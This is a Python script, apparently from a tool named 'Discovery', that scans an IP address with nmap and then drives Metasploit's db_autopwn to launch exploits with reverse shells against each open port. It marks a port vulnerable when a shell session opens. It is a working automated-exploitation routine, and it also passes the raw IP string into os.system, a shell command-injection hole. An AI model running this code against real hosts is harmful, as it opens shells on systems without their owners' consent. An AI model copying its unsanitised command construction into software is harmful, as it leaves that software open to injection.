#!/usr/bin/env python

import os
import pexpect
import sys
from xml.dom import minidom

def scan(ip, result_box):
    '''
    scan(ip, result_box)
        scan an IP Address using nmap, and return a tuple of the open ports
        and the path to the output XML file

    '''

    #start the nmap scan and save the result to "output.xml" file
    os.system("nmap -sV -O -oX /tmp/output.xml " + ip + " >/dev/null 2>&1")

    #parse the xml file
    nmap_result = minidom.parse("/tmp/output.xml")

    #open ports list
    open_ports = []

    #read the open ports
    portlist = nmap_result.getElementsByTagName('port')


    #print "safe host" if there are no open ports in that host
    if len(portlist) == 0 :
        result_box.append('<font color="green"><b><br><br>This host is safe.</b><font>')
        return None, None


    #if the host has open ports start testing
    else :
        result_box.append("<b><br><br>this host has these open ports :-<br></b>")

        #read the services
        servicelist = nmap_result.getElementsByTagName('service')

        for n in range(len(portlist)) :
            port = portlist[n]
            service = servicelist[n]
            result_box.append("<i>Port number\t" + str(port.attributes["portid"].value) + "\t" + str(service.attributes["name"].value) + "</i>")

            open_ports.append(int(port.attributes["portid"].value))


    return open_ports, "/tmp/output.xml"



def autopwn(ip, nmap_xml_output, metasploit_path, ports_list, result_box):

    try :

        #execute the metasploit framework
        metasploit_process = pexpect.spawn(metasploit_path + "/msfconsole")

    #catch any exception and raise a ValueError
    except Exception :
        raise ValueError


    metasploit_process.timeout = 600

    output = metasploit_process.expect(["msf >", pexpect.EOF])

    if output == 0 :

        for port in ports_list :

            #loading the sqlite module
            metasploit_process.sendline("load db_sqlite3")

            #destroying any previous database created by Discovery
            metasploit_process.sendline("db_destroy /tmp/discovery_db")

            #create a new database
            metasploit_process.sendline("db_create /tmp/discovery_db")

            #load the nmap scan result
            metasploit_process.sendline("db_import_nmap_xml " + str(nmap_xml_output))

            #execute autopwn
            metasploit_process.sendline("db_autopwn -e -p -r -PI " + str(port))

            #check whether a session is opened or not
            metasploit_process.sendline("sessions -l")
            opened_sessions = metasploit_process.expect(["No active sessions.", "Command shell", pexpect.EOF])

            #if no sessions were opened
            if opened_sessions == 0 :
                result_box.append('<font color="darkgreen">The service running on port ' + str(port) + ' is not vulnerable</font>')

            #if a session is opened
            elif opened_sessions == 1 :
                result_box.append('<font color="darkred">DANGER!! The service running on port ' + str(port) + ' is vulnerable</font>')
                metasploit_process.sendline("sessions -k 1")

            #if an error happened while processing
            else :
                result_box.append("ERROR processing results")
